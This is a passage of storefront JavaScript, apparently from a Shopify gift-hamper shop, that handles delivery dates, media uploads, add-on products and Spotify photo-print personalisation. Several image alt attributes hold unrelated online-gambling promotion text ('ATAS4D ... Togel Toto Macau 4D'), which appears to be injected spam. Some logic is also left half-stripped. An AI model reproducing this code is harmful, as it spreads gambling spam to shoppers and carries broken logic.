9481      console.error('Error initializing delivery options:', error);
9482      
9483      // Auto refresh on error after 2 seconds
9484      console.log('Auto refreshing page due to error...');
9485      setTimeout(() => {
9486        // location.reload();
9487      }, 2000);
9488    }
9489  }
9490  
9491  // Initialize delivery options
9492  initializeDeliveryOptions();
9493
9494  // Helper function to safely initialize Select2
9495  function initSelect2(selector, options = {}) {
9496    const $element = $(selector);
9497    
9498    if ($element.length === 0) {
9499      console.warn('Element not found:', selector);
9500      return;
9501    }
9502    
9503    // Check if Select2 is already loaded
9504    if (typeof $.fn.select2 !== 'undefined') {
9505      try {
9506        // Destroy existing select2 instance if any
9507        if ($element.hasClass('select2-hidden-accessible')) {
9508          $element.select2('destroy');
9509        }
9510        // Initialize select2 with merged options
9511        const defaultOptions = {
9512          minimumResultsForSearch: 0,
9513          width: '100%'
9514        };
9515        $element.select2(Object.assign({}, defaultOptions, options));
9516      } catch(e) {
9517        console.error('Error initializing Select2 for', selector, ':', e);
9518      }
9519    } else {
9520      // Wait for Select2 to load
9521      console.log('Waiting for Select2 library to load...');
9522      let attempts = 0;
9523      const maxAttempts = 50; // 5 seconds max
9524      
9525      const checkSelect2 = setInterval(function() {
9526        attempts++;
9527        if (typeof $.fn.select2 !== 'undefined') {
9528          clearInterval(checkSelect2);
9529          try {
9530            // Destroy existing select2 instance if any
9531            if ($element.hasClass('select2-hidden-accessible')) {
9532              $element.select2('destroy');
9533            }
9534            // Initialize select2 with merged options
9535            const defaultOptions = {
9536              minimumResultsForSearch: 0,
9537              width: '100%'
9538            };
9539            $element.select2(Object.assign({}, defaultOptions, options));
9540          } catch(e) {
9541            console.error('Error initializing Select2 for', selector, ':', e);
9542          }
9543        } else if (attempts >= maxAttempts) {
9544          clearInterval(checkSelect2);
9545          console.error('Select2 library failed to load after 5 seconds');
9546        }
9547      }, 100); // Check every 100ms
9548    }
9549  }
9550
9551  async function insertCard(data) {
9552    const response = await fetch(`${host}/api/card/v2/new`, {
9553        method: "POST",
9554        headers: {
9555          'Content-Type': 'application/json',
9556        },
9557        body: data
9558    })
9559    const result = await response.json()
9560    let id = result?.data?.id
9561    $(".greetingCard").attr("data-id", id)
9562    return result
9563  }
9564    
9565  async function updateCard(id, data){
9566    console.log(id, data, 'updateCard')
9567    const response = await fetch(`${host}/api/card/v2/${id}`, {
9568        method: "PUT",
9569        headers: {
9570          'Content-Type': 'application/json',
9571        },
9572        body: data
9573    })
9574    console.log(response, 'updateCard')
9575    return response
9576  }
9577    
9578  function bytesToSize(bytes) {
9579    var sizes = ['b', 'kb', 'mb', 'gb', 'tb', 'p'];
9580    for (var i = 0; i < sizes.length; i++) {
9581      if (bytes <= 1024) {
9582        return bytes + ' ' + sizes[i];
9583      } else {
9584        bytes = parseFloat(bytes / 1024).toFixed(2)
9585      }
9586    }
9587    return bytes + ' P';
9588  }
9589
9590  async function uploadMedia(uri, type) {
9591    nameq = $("#properties-nama-penerima").val()
9592    dear = $("#properties-kartu-nama-penerima").val()
9593    card = $("[data-properties=ucapan]").val()
9594    sender = $("#properties-kartu-nama-pengirim").val()
9595    photo = $("#properties-photo").val()
9596    video = $("#properties-video").val()
9597    status = "Product"
9598        
9599    const name = qrID
9600    let formData = new FormData(); 
9601    formData.append("file", uri);
9602    const response = await fetch(`${host}/api/upload?name=${name}&type=${type}&r=${randomString(3, '0123456789')}&shop=${shop}`, {
9603      method: "POST", 
9604      body: formData
9605    })
9606    const result = await response.json();
9607    if(result) {
9608      const url = result.url?.replace('outerbloom/', '')
9609      if(type === 'image/jpeg') {
9610        $("#properties-photo").val(url)
9611        $(".preview-image").show()
9612        $(".remove-image").show()
9613        $(".placeholder-image").hide()
9614        // $(".icon-upload").hide()
9615        photo = url
9616        
9617        // Trigger card preview update for photo upload
9618        $(document).trigger('cardDataUpdated')
9619      } else {
9620        $("#properties-video").val(url)
9621        $("#label-input-video span").text("Change File")
9622        $(".case-qrcode-preview p").text("Scan here for a secret message")
9623        $(".remove-media").show()
9624        $("#product-top #product-meta .case-video-preview p").html(`<span class="replace-video" tite="Replace Video">${uri.name} (${bytesToSize(uri.size)})</span><span> is uploaded</span>`)
9625        $("[for=input-video]").hide()
9626        video = url
9627        
9628        // Trigger card preview update for video upload
9629        $(document).trigger('cardDataUpdated')
9630      }
9631      $(".case-video-preview").show()
9632      $(".steps-card-preview").removeClass("loading")
9633      // updateCard(nameq, dear, card, sender, photo, video, status)
9634
9635      $(".nextBtn").attr("disabled", false)
9636    }
9637  }
9638
9639  function randomString(length, chars) {
9640    var result = '';
9641    for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];
9642    return result;
9643  }
9644
9645  function getNoteCity(fulldate) {
9646    const h_1 = new Date(new Date().setDate(new Date().getDate() + 1))
9647    const weekday = ["Min","Sen","Sel","Rab","Kam","Jum","Sab"];
9648    const monthly = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];
9649    const d = new Date(h_1);
9650    const day = weekday[d.getDay()];
9651    const dt = d.getDate();
9652    const mt = monthly[d.getMonth()];
9653    const yr = d.getFullYear();
9654    const p = $("#cities").parent(".form-group")
9655  }
9656
9657  function disabledSameDay() {
9658    let btnFirst = $("#deliveryDate").find("button:first-child")
9659    let getDay = new Date().getDay();
9660
9661    // Check if product has CNY 2026 tag - skip disabling if true
9662    
9663      console.log('Product has CNY 2026 tag - skipping same day disable logic');
9664      return;
9665    
9666
9667    
9668      
9669      if(getDay == 1 || getDay == 2 || getDay == 3 || getDay == 4 || getDay == 5){
9670        if(hour >= 14.00){
9671          btnFirst.attr("disabled", true)
9672        }
9673      } else if(getDay == 6){
9674        if(hour >= 16.00){
9675          btnFirst.attr("disabled", true)
9676        }
9677      } else if(getDay == 0){
9678        if(hour >= 16.00){
9679          btnFirst.attr("disabled", true)
9680        }
9681      }
9682      
9683    
9684  }
9685
9686  function disabledays(date) {
9687    let ymd = date.getFullYear() + "-" + (date.getMonth() + 1) + "-" + date.getDate();
9688    //if u have to disable a list of day
9689    let removeDays
9690    
9691    
9692    
9693    if ($.inArray(ymd, removeDays) >= 0) {
9694      return [false];
9695    } else {
9696      let day = date.getDay();
9697      if(day == 0 && date.getDate() == 13 && date.getMonth() == 1){
9698          return [(day == 0),  ''];
9699      }
9700      
9701      
9702      return [(day != 0),  ''];
9703    }
9704  }
9705  ( function( factory ) {
9706    if ( typeof define === "function" && define.amd ) {
9707
9708      // AMD. Register as an anonymous module.
9709      define( [ "../widgets/datepicker" ], factory );
9710    } else {
9711
9712      // Browser globals
9713      factory( jQuery.datepicker );
9714    }
9715  }( function( datepicker ) {
9716    
9717    // Check if datepicker object exists before accessing regional property
9718    if (typeof datepicker === 'undefined' || !datepicker) {
9719      return;
9720    }
9721
9722    datepicker.regional.id = {
9723      closeText: "Tutup",
9724      prevText: "&#x3C;mundur",
9725      nextText: "maju&#x3E;",
9726      currentText: "Today",
9727      monthNames: [ "January","February","March","April","May","Juny",
9728                    "July","August","September","October","November","December" ],
9729      monthNamesShort: [ "Jan","Feb","Mar","Apr","May","Jun",
9730                        "Jul","Agu","Sep","Oct","Nov","Dec" ],
9731      dayNames: [ "Minggu","Senin","Selasa","Rabu","Kamis","Jumat","Sabtu" ],
9732      dayNamesShort: [ "Sun","Mon","Tue","Wed","Thu","Fri","Sat" ],
9733      dayNamesMin: [ "Mg","Sn","Sl","Rb","Km","jm","Sb" ],
9734      weekHeader: "Mg",
9735      dateFormat: "D, dd M",
9736      firstDay: 0,
9737      isRTL: false,
9738      showMonthAfterYear: false,
9739      yearSuffix: "" };
9740    datepicker.setDefaults( datepicker.regional.id );
9741
9742    return datepicker.regional.id;
9743
9744} ) );
9745
9746  function loadPopup() {
9747    $("#backgroundPopup").fadeIn("slow");
9748    $(".purchasePopup:not(.purchasePopupSpotify)").fadeIn("slow");
9749    const firstSection = $(".purchasePopup:not(.purchasePopupSpotify) .sectionPurchase").first()
9750    if(firstSection.hasClass("purchasePersonalize")) {
9751      if(productType !== '') {
9752        console.log("clarity event " + productType + ' personalize')
9753        window.clarity("event", `${productType} cardPersonalization`)
9754        // window.clarity("set", productType, `cardPersonalization - ${productDate}`)
9755      }
9756    } else if (firstSection.hasClass("sectionPurchaseBoard")) {
9757        console.log("clarity event " + productType + ' personalizeBoard')
9758        window.clarity("event", `${productType} personalizeBoard`)
9759        // window.clarity("set", productType, `personalizeBoard - ${productDate}`)
9760    }
9761    firstSection.removeClass("hide")
9762    
9763    // Load province and zip code when popup opens
9764    const selectedCity = $("#cities").val();
9765    const v2 = $('#cities option:selected').attr('data-city');
9766    const v3 = $('#cities option:selected').attr('data-province');
9767    
9768    if (selectedCity && selectedCity !== '' && selectedCity !== 'Kota Lainnya') {
9769      // Get province
9770      getProvince(selectedCity);
9771      
9772      // Load zip codes
9773      console.log('Loading zip codes for:', selectedCity);
9774      $("#zip").html(`<option value="">Postal Code</option>`);
9775      renderZip(selectedCity, v2, v3);
9776    }
9777    
9778    // Auto-trigger addon loading when addon section becomes visible
9779    setTimeout(function() {
9780      const addonSection = $(".purchaseAddon")
9781      if(addonSection.length > 0 && !addonSection.hasClass("hide")) {
9782        if($("#itemAddons .row").children().length === 0 || $("#itemAddons .row").text().includes("No Item available")) {
9783          $("[data-addon]").eq(0).trigger("click")
9784        }
9785      }
9786    }, 200)
9787  }
9788
9789  function disablePopup() {
9790    $("#backgroundPopup").fadeOut("slow");
9791    $(".purchasePopup").fadeOut("slow");
9792    $("#popupCart").fadeOut("slow");
9793  }
9794
9795  function scrollTo(parent, div, dur) {
9796    $(parent).animate({
9797      scrollTop: $(div).offset().top
9798    }, dur);
9799  }
9800
9801  function loadPopupPersonalize() {
9802    // First validate variant metafields
9803    if (typeof validateVariantMetafields === 'function') {
9804      const isValid = validateVariantMetafields(true);
9805      if (!isValid) {
9806        // The validateVariantMetafields function already handles scrolling and focusing
9807        // alert('Please select all required variant options before proceeding.');
9808        return; // Stop execution if validation fails
9809      }
9810    }
9811    
9812    const div = "#purchaseProduct"
9813    const p = "html, body, .product-meta"
9814    $("p.error").remove()
9815    loadItemOccasion($("[data-occassion]").eq(0), "greeting-card-all")
9816    const isCity = $("#cities[required]")
9817    const isDate = $("#propDeliveryDate[required]")
9818    const isTime = $("#propDeliveryTime[required]")
9819    const isTimeDisabled = $("#propDeliveryTime[disabled]")
9820    // loadPopup()
9821    // Check if all required fields are filled, or if time is disabled (for no-deliverytime products)
9822    if(isCity.val() !== '' && isDate.val() !== '' && (isTime.val() !== '' || isTimeDisabled.length > 0)) {
9823      loadPopup()
9824    }
9825    if(isCity.val() == '') {
9826      isCity.parent(".row").append("<p class='error'>Choose delivery city</p>")
9827      scrollTo(p, div, 500)
9828    }
9829    if(isDate.val() == '') {
9830      isDate.parents(".row").append("<p class='error'>Choose delivery date</p>")
9831      scrollTo(p, div, 500)
9832    }
9833    if(isTime.val() == '' && isTimeDisabled.length === 0) {
9834      isTime.parents(".row").append("<p class='error'>Choose delivery time</p>")
9835      scrollTo(p, div, 500)
9836    }
9837  }
9838
9839  function quantityCounter() {
9840    $(document).on("click", ".item-card.selected .q_up", function () {
9841      var C = $(this).attr("data-id"),
9842          S =
9843              parseInt(
9844                  $(this)
9845                      .siblings(".quantity-cart-" + C)
9846                      .val()
9847              ) + 1;
9848      $(this).attr("data-quantity", S),
9849          $(this)
9850              .siblings(".quantity-cart-" + C)
9851              .val(S);
9852    }),
9853    $(document).on("click", ".item-card.selected .q_down", function () {
9854        var C = $(this).attr("data-id"),
9855            S = parseInt(
9856                $(this)
9857                    .siblings(".quantity-cart-" + C)
9858                    .val()
9859            );
9860        0 < S && $(this).attr("data-quantity", S - 1),
9861            0 < S &&
9862                $(this)
9863                    .siblings(".quantity-cart-" + C)
9864                    .val(S - 1);
9865    });
9866  }
9867
9868  quantityCounter()
9869
9870  const itemAddon = $(".item-card").length
9871  const nofree = $(".nofree").length
9872
9873  const upsell = ''
9874  
9875  if(nofree === itemAddon) {
9876      // $("#itemAddons").html("<p>No Items available</p>")
9877  }
9878
9879  $("#itemAddons .item-card").each(function(e){
9880      $("#itemAddons").attr("data-length", e)
9881  })
9882
9883  // Function to fetch products from collection with fallback
9884  async function fetchAddonProducts(collectionHandle) {
9885    try {
9886      const response = await fetch(`https://outerbloom.com/collections/${collectionHandle}/products.json`);
9887      
9888      if (!response.ok) {
9889        throw new Error(`Collection ${collectionHandle} not found`);
9890      }
9891      
9892      const data = await response.json();
9893      
9894      // Check if products exist and have items
9895      if (!data.products || data.products.length === 0) {
9896        throw new Error(`No products in collection ${collectionHandle}`);
9897      }
9898      
9899      return data.products;
9900    } catch (error) {
9901      console.warn(`Error fetching ${collectionHandle}:`, error.message);
9902      
9903      // Fallback to "upsell-all" collection if primary collection fails
9904      if (collectionHandle !== 'upsell-all') {
9905        console.log('Falling back to upsell-all collection...');
9906        try {
9907          const fallbackResponse = await fetch('https://outerbloom.com/collections/upsell-all/products.json');
9908          if (fallbackResponse.ok) {
9909            const fallbackData = await fallbackResponse.json();
9910            return fallbackData.products || [];
9911          }
9912        } catch (fallbackError) {
9913          console.error('Fallback also failed:', fallbackError);
9914        }
9915      }
9916      
9917      return [];
9918    }
9919  }
9920
9921  // Function to determine upsell type from product tags
9922  function getUpsellType() {
9923    const productTags = ["Brand_Outerbloom Hampers","card","CNY","CNY 2026","Collection_Heritage","custom-hampers","formdate","icon-card","icon-gift","Inhouse","MonSatParcel","MonSatSiang","no-deliverytime","Parcel","Parcel CNY","Parcel Inhouse","Parcel Nusantara","Pengiriman_Bekasi","Pengiriman_Bogor","Pengiriman_Depok","Pengiriman_Jakarta","Pengiriman_Kota Lainnya","Pengiriman_Tangerang","POO Parcel","ship-paketkecil","takeoutselfpickup","Untuk_Hari Raya","uploadfotocard","upsell-inhouse"];
9924    const hasBuketUang = productTags.includes('Buket Uang');
9925    
9926    if (hasBuketUang) {
9927      return 'upsell-giftcard';
9928    }
9929    
9930    // Find upsell tag
9931    for (const tag of productTags) {
9932      if (tag.startsWith('upsell-')) {
9933        return tag;
9934      } else if (tag === 'upsell') {
9935        return 'upsell-all';
9936      }
9937    }
9938    
9939    return 'upsell-giftcard'; // Default fallback
9940  }
9941
9942  // Function to render addon products
9943  function renderAddonProducts(products, filterTag) {
9944    const html = [];
9945    
9946    for (const product of products) {
9947      const id = product.id;
9948      const variant = product.variants[0];
9949      const variantId = variant.id;
9950      const img = product.images[0]?.src || '';
9951      const imgBase = img.split('.jpg')[0];
9952      const title = product.title;
9953      const price = variant.price;
9954      const tags = product.tags;
9955      const isAvailable = variant.available !== false;
9956      const productType = product.product_type?.toLowerCase()?.replace(/\s+/g, '_') || '';
9957      
9958      // Filter products based on tag
9959      const shouldInclude = filterTag === 'all' || 
9960                           tags.includes(`upsell-item-${filterTag}`) || 
9961                           tags.includes('upsell-item-all') ||
9962                           tags.includes('upsell-item-inhouse');
9963      
9964      if (!shouldInclude) continue;
9965      
9966      const priceDisplay = price < 1 ? 'FREE' : rupiah.format(price);
9967      const cardClass = `item-card${price < 1 ? ' free' : ' nofree'} type-${productType}`;
9968      
9969      const body = `
9970        <div class="${cardClass}" data-variant="${variantId}" data-id="${id}" data-qty="${isAvailable ? '' : 0}" data-upsell="${filterTag}" data-tags="${tags}">
9971          <div class="card-image">
9972            <img src="${imgBase}_150x.jpg" alt="${title}" width="" height="" />
9973          </div>
9974          <div class="card-meta">
9975            <h5>${title}</h5>
9976            <p>${priceDisplay}</p>
9977            <input id="card-${variantId}" type="hidden" name="" value="${variantId}">
9978          </div>
9979          <div class="card-qty">
9980            <a data-quantity="1" type="submit" id="q_down-${variantId}" class="btn-qty-min q_down drawer-cart" data-id="${variantId}">
9981              <svg xmlns="http://www.w3.org/2000/svg" width="12" height="2" viewBox="0 0 12 2" fill="none">
9982                <path d="M0 1.90869V0.908691H12V1.90869H0Z" fill="black"/>
9983              </svg>
9984            </a>  
9985            <input maxlength="3" min="0" class="btn-qty text-center quantity-cart-${variantId}
9985" value="0" data-price="${price}" name="quantity">
9986            <a data-quantity="1" type="submit" class="btn-qty-plus q_up text-green drawer-cart" data-id="${variantId}">
9987              <svg xmlns="http://www.w3.org/2000/svg" width="12" height="13" viewBox="0 0 12 13" fill="none">
9988                <path d="M0 6.87023V5.94715H5.53846V0.408691H6.46154V5.94715H12V6.87023H6.46154V12.4087H5.53846V6.87023H0Z" fill="black"/>
9989              </svg>
9990            </a>   
9991          </div>
9992        </div>`;
9993      
9994      html.push(body);
9995    }
9996    
9997    return html;
9998  }
9999
10000  // Event handler for addon selection
10001  $("[data-addon]").click(async function() {
10002    const $button = $(this);
10003    const addonType = $button.data("addon") || getUpsellType();
10004    
10005    // Update UI
10006    $("[data-addon]").removeClass("selected");
10007    $button.addClass("selected");
10008    
10009    // Show loading state
10010    $("#itemAddons .row").html('<p>Loading products...</p>');
10011    
10012    try {
10013      // Fetch products
10014      const products = await fetchAddonProducts(addonType);
10015      
10016      if (products.length === 0) {
10017        $("#itemAddons .row").html('<p>No Item available</p>');
10018        $("#itemAddons").attr("data-length", 0);
10019        return;
10020      }
10021      
10022      // Extract filter tag from addon type
10023      const filterTag = addonType.replace('upsell-', '');
10024      
10025      // Render products
10026      const html = renderAddonProducts(products, filterTag);
10027      
10028      if (html.length === 0) {
10029        $("#itemAddons .row").html('<p>No Item available</p>');
10030      } else {
10031        $("#itemAddons .row").html(html.join(''));
10032      }
10033      
10034      $("#itemAddons").attr("data-length", html.length);
10035      
10036    } catch (error) {
10037      console.error('Error loading addon products:', error);
10038      $("#itemAddons .row").html('<p>Error loading products. Please try again.</p>');
10039    }
10040  })
10041
10042  async function isAddon(){
10043    let ids = []
10044    $("#itemAddons .item-card.selected").each(function(i, e){
10045      const id = $(this).data("id")
10046      ids.push(id)
10047    })
10048    console.log(ids)
10049    return ids
10050  }
10051  
10052  $("#itemAddons").delegate(".item-card > div:not(.card-qty)", "click", async function(){
10053    const t = $(this).parent()
10054    const id = t.data("id")
10055    const btn =  t.parents(".purchaseAddon").find(".next-purchase-button")
10056    t.toggleClass("selected");
10057    //$(this).next("input").toggleAttr('name', 'id[]');
10058    if (t.hasClass('selected')) {
10059        t.find("input").val(1)
10060        t.find("input").attr('name', 'id[]');
10061    } else {
10062        t.find("input").val(0)
10063        t.find("input").removeAttr('name');
10064    }
10065    $("#properties-addons").val(addons)
10066    const is = await isAddon()
10067    if(is.length === 0) {
10068      btn.text("continue without add-ons")
10069      return
10070    }
10071    if(is.includes(8835692069079)) {
10072      btn.text("personalize acrylic frame")
10073    } else {
10074      btn.text("Continue")
10075    }
10076      
10077  })
10078
10079  async function myAddon(data) {
10080    const c = $(".addonsPurchase .addons")
10081    let items = []
10082    
10083    const spotifyAddons = $(".spotifyAddons").find("[data-index]")
10084    // if(spotifyAddons.length > 0) {
10085    //   $(spotifyAddons).each(function(i, e){
10086    //     const spotifyLink = $(this).find(".spotifyLink").val()
10087    //     const spotifySong = $(this).find(".spotifySong").val()
10088    //     const spotifyArtist = $(this).find(".spotifyArtist").val()
10089    //     const spotifyFotoAddon = $(this).find(".resultPhotoSpotify").val()
10090    //     if(spotifyLink !== '') {
10091    //       spotifyAddon = `<div class="addon-item" data-id="46067682607319" data-qty="1">
10092    //         <div class="addon-itm-img">
10093    //           <img src="https://cdn.shopify.com/s/files/1/1589/6833/files/Acrylic-Frame_8c71027d-43b7-4322-a98f-d34ab0456397_100x.jpg?v=1739160467" alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap" width="70"/>
10094    //         </div>
10095    //         <div class="addon-itm-title">
10096    //           <span>[US] Outerbloom Acrylic Frame 4R</span>
10097    //         </div>
10098    //         <div class="addon-itm-line-total">
10099    //           <span>Rp 99.000</span>
10100    //         </div>
10101    //       </div>
10102    //       <div class="propsAddonSpotify row m-0">
10103    //         <div class="col-12 col-lg-2"></div>
10104    //           <div class="col-12 col-lg-10">
10105    //             <p>
10106    //               <span>spotify link</span>
10107    //               <span class="spotifyLinkAddon">${spotifyLink}</span>
10108    //             </p>
10109    //             <p>
10110    //               <span>uploaded photo</span>
10111    //               <span class="spotifyFotoAddon">${spotifyFotoAddon}</span>
10112    //             </p>
10113    //             <p>
10114    //               <span>song / playlist name</span>
10115    //               <span class="spotifySongAddon">${spotifySong}</span>
10116    //             </p>
10117    //             <p>
10118    //               <span>artist name</span>
10119    //               <span class="spotifyArtistAddon">${spotifyArtist}</span>
10120    //             </p>
10121    //           </div>
10122    //       </div>`
10123    //       items.push(spotifyAddon)
10124    //     }
10125    //   })
10126    // }
10127    for(let i = 0; i < data.length; i++) {
10128      if(data[i].title !== '[US] Outerbloom Acrylic Frame 4R' ) {
10129        const img = data[i].image
10130        const title = data[i].title
10131        const qty = data[i].qty
10132        const price = data[i].price
10133        const total = Number(qty) * Number(price)
10134        let addons = `<div class="addon-item" data-id="${data[i].id}" data-qty="${qty}">
10135              <div class="addon-itm-img">
10136                <img src="${img}" alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap" width="70"/>
10137              </div>
10138              <div class="addon-itm-title">
10139                <span>${title}</span>
10140              </div>
10141              <div class="addon-itm-line-price">
10142                <span>${rupiah.format(price)}</span>
10143                ${data[i].title == '[US] Outerbloom Acrylic Frame 4R' ? '' : `<span>x${qty}</span>`}
10144              </div>
10145              <div class="addon-itm-line-total">
10146                <span>${rupiah.format(total)}</span>
10147              </div>
10148            </div>`
10149          items.push(addons)
10150      }
10151    }
10152    c.html(items)
10153    const parent = $(".purchaseAddon")
10154    const next = parent.next(".sectionPurchase")
10155    parent.addClass("hide")
10156    next.removeClass("hide")
10157    // if(items2.length === 0) return $("#popupCart").addClass("no-addon-cart")
10158    // $(".itemAddonCart").find("h4").text(`add-ons (${items2.length})`)
10159  }
10160
10161  async function listAddon() {
10162    const data = $("#itemAddons").find(".selected")
10163    let ids = []
10164    $(data).each(function(){
10165      const id = $(this).data("variant")
10166      const image = $(this).find(".card-image img").attr("src")
10167      const title = $(this).find(".card-meta h5").text()
10168      const qty = $(this).find(".card-qty input").val()
10169      const price = $(this).find(".card-qty input").data("price")
10170      ids.push({
10171        id: Number(id),
10172        image,
10173        title,
10174        qty,
10175        price
10176      })
10177    })
10178    myAddon(ids)
10179  }
10180
10181  async function customSpotify(idx, length, type){
10182    let isCard = false
10183    
10184      isCard = true
10185    
10186    let p = $(".purchasePopupSpotify")
10187    const preLink = $(".spotifyLinkFirst").val()
10188    $("[data-index]").hide()
10189    p.find(".headerPurchase h3").text(`personalize spotify photo print${length > 1 ? ` - ${idx}` : ''}`)
10190    p.find(".regulerAddons, .purchase-button").hide()
10191    p.find(".spotifyAddons").show()
10192    
10193    const data = await trackUrl(preLink)
10194    
10195    const html = `<div class="row" data-index=${idx} data-length=${length}><div class="col-12 col-lg-6"><div class="form-vertical position-relative"><div class="form-group mb-4"><h4>upload photo</h4><div class=uploadResult><label class=btn for=uploadPhotoSpotify><svg xmlns="http://www.w3.org/2000/svg" width="13" height="11" viewB
10195ox="0 0 13 11" fill="none">
10196<path d="M0.875 10.6378H12.375C12.4413 10.6378 12.5049 10.6115 12.5518 10.5646C12.5987 10.5177 12.625 10.4541 12.625 10.3878V0.387817C12.625 0.321513 12.5987 0.257925 12.5518 0.211041C12.5049 0.164157 12.4413 0.137817 12.375 0.137817H0.875C0.808696 0.137817 0.745107 0.164157 0.698223 0.211041C0.651339 0.257925 0.625 0.321513 0.625 0.387817V10.3878C0.625 10.4541 0.651339 10.5177 0.698223 10.5646C0.745107 10.6115 0.808696 10.6378 0.875 10.6378ZM1.125 10.1378V7.31882C1.136 7.31082 1.1485 7.30632 1.1585 7.29632L3.7165 4.73832C3.78198 4.67584 3.869 4.64098 3.9595 4.64098C4.05 4.64098 4.13702 4.67584 4.2025 4.73832L7.963 8.49882C8.00919 8.54501 8.07162 8.5713 8.13694 8.57204C8.20225 8.57279 8.26527 8.54794 8.3125 8.50282L10.2455 6.66682C10.3084 6.60323 10.3938 6.56684 10.4832 6.56543C10.5727 6.56403 10.6591 6.59774 10.724 6.65932L12.125 8.18532L12.1255 8.18582V10.1378H1.125ZM12.125 0.637817V7.44682L11.0845 6.31382C11.0066 6.23514 10.9138 6.17275 10.8116 6.13026C10.7094 6.08777 10.5997 6.06603 10.489 6.06632H10.4885C10.3786 6.06584 10.2697 6.08706 10.168 6.12876C10.0664 6.17046 9.97391 6.23182 9.896 6.30932L8.144 7.97332L4.556 4.38482C4.2365 4.06582 3.6815 4.06632 3.363 4.38482L1.125 6.62332V0.637817H12.125Z" fill="black"/>
10197</svg><span>Upload your file</span></label></div><input class="uploadPhotoSpotify form-control d-none" accept=image/* type=file><input class="resultPhotoSpotify" type="hidden"></div><div class="form-group mb-5"><h4>Add your Spotify link here</h4> <input class="spotifyLink2 form-control spotifyLink" value="${preLink}" placeholder=https://open.spotify.com/ ></div><div class="form-group mb-4 text-left"><label class=checkbox for=isCustomMessage><span>Personalized Message</span><span class=checkmark></span></label></div><div class="form-group mb-4 form-personalize"><label class="text-left d-block mb-2 text-uppercase"for=spotifySong>Song / playlist name</label> ${data?.song ? `<input class="form-control spotifySong" value="${data?.song}">` : '<input class="form-control spotifySong" value="">'}</div><div class="form-group form-personalize"><label class="text-left d-block mb-2 text-uppercase"for=spotifyArtist>Artist name</label> ${data?.artist ? `<input class="form-control spotifyArtist" value="${data?.artist}">` : '<input class="form-control spotifyArtist" value="">'}</div><div class=btn-action><button class="back-spotify"><svg fill=none height=14 viewBox="0 0 15 14"width=15 xmlns=http://www.w3.org/2000/svg><path d="M14.5799 7.41992L2.32992 7.41992L7.57992 12.6699L6.91992 13.4199L0.419922 6.91992L6.91992 0.419922L7.57992 1.16992L2.32992 6.41992L14.5799 6.41992V7.41992Z"fill=black /></svg> <span>Back</span></button><button data-type="${isCard ? 'card' : ''}" ${isCard ? '' : 'id=addtocart-card'} class="text-uppercase btn w-100${type == 'addon' && idx == length ? ' finished' : ' no-addon'}" disabled>${isCard ? 'Continue Personalizing' : 'add to cart'}</button></div></div></div><div class="col-12 col-lg-6 columnRight"><div class=frame-spotify><div class=frameImage><div class=frameImageUploaded><svg xmlns="http://www.w3.org/2000/svg" width="13" height="11" viewB
10197ox="0 0 13 11" fill="none">
10198<path d="M0.875 10.6378H12.375C12.4413 10.6378 12.5049 10.6115 12.5518 10.5646C12.5987 10.5177 12.625 10.4541 12.625 10.3878V0.387817C12.625 0.321513 12.5987 0.257925 12.5518 0.211041C12.5049 0.164157 12.4413 0.137817 12.375 0.137817H0.875C0.808696 0.137817 0.745107 0.164157 0.698223 0.211041C0.651339 0.257925 0.625 0.321513 0.625 0.387817V10.3878C0.625 10.4541 0.651339 10.5177 0.698223 10.5646C0.745107 10.6115 0.808696 10.6378 0.875 10.6378ZM1.125 10.1378V7.31882C1.136 7.31082 1.1485 7.30632 1.1585 7.29632L3.7165 4.73832C3.78198 4.67584 3.869 4.64098 3.9595 4.64098C4.05 4.64098 4.13702 4.67584 4.2025 4.73832L7.963 8.49882C8.00919 8.54501 8.07162 8.5713 8.13694 8.57204C8.20225 8.57279 8.26527 8.54794 8.3125 8.50282L10.2455 6.66682C10.3084 6.60323 10.3938 6.56684 10.4832 6.56543C10.5727 6.56403 10.6591 6.59774 10.724 6.65932L12.125 8.18532L12.1255 8.18582V10.1378H1.125ZM12.125 0.637817V7.44682L11.0845 6.31382C11.0066 6.23514 10.9138 6.17275 10.8116 6.13026C10.7094 6.08777 10.5997 6.06603 10.489 6.06632H10.4885C10.3786 6.06584 10.2697 6.08706 10.168 6.12876C10.0664 6.17046 9.97391 6.23182 9.896 6.30932L8.144 7.97332L4.556 4.38482C4.2365 4.06582 3.6815 4.06632 3.363 4.38482L1.125 6.62332V0.637817H12.125Z" fill="black"/>
10199</svg> <img src="" class=previewImage style=display:none></div></div><div class=frameControl><div class=spotifyData>${data?.song ? `<h3>${data?.song}</h3>` : '<h3><h3>'}${data?.artist ? `<p>${data?.artist}</p>` : '<p></p>'}</div><img src="https://outerbloom.com/cdn/shop/t/138/assets/frame-spotify.png?v=138221849636560654691752652420"alt="spotify outerbloom" height=""width=100%><div class=spotifyCode><img src="https://scannables.scdn.co/uri/plain/png/FFFFFF/black/640/spotify:${data?.type.slice(0, -1)}:${data?.trackId}"alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"></div></div></div></div></div>`
10200    // console.log(html)
10201    
10202    $(".spotifyAddons").append(html)
10203    
10204    $(`[data-index=${idx}]`).show()
10205    
10206    if (preLink !== '') {
10207      $(".btn-action .btn").attr("disabled", false)
10208    } else {
10209      $(".btn-action .btn").attr("disabled", true)
10210    }
10211
10212    return html
10213    
10214  }
10215
10216  $(".spotifyLinkFirst").keyup(async function(){
10217    const v = $(this).val()
10218    if(v.includes('spotify:user:spotify')) {
10219      const correct = v.split('user:spotify:')[1]
10220      console.log(correct, 'BNER')
10221      $(this).val(correct)
10222      return
10223    }
10224    if(v.includes("spotify:") || v.includes("https://open.spotify.com/")){
10225      const data = await trackUrl(v)
10226      if(!data || !data.status) {
10227        $(this).parent().addClass("error")
10228        // $(this).parent().append(`<p class="txt-error">Make sure you copy the complete and correct link from Spotify. Ex: https://open.spotify.com/track/0C3xZJueyBvvMSsl0cETA6</p>`)
10229        $("#personalizeBtnSpotify .btn").attr("disabled", true)
10230        return
10231      }
10232      $(this).parent().removeClass("error")
10233      // $(this).parent().remove("txt-error")
10234      $("#personalizeBtnSpotify .btn").attr("disabled", false)
10235    } else {
10236      $("#personalizeBtnSpotify .btn").attr("disabled", true)
10237    }
10238  })
10239
10240  $(".purchaseAddon").delegate(".next-addon", "click", async function(){
10241    const parent = $(this).parents(".purchaseAddon")
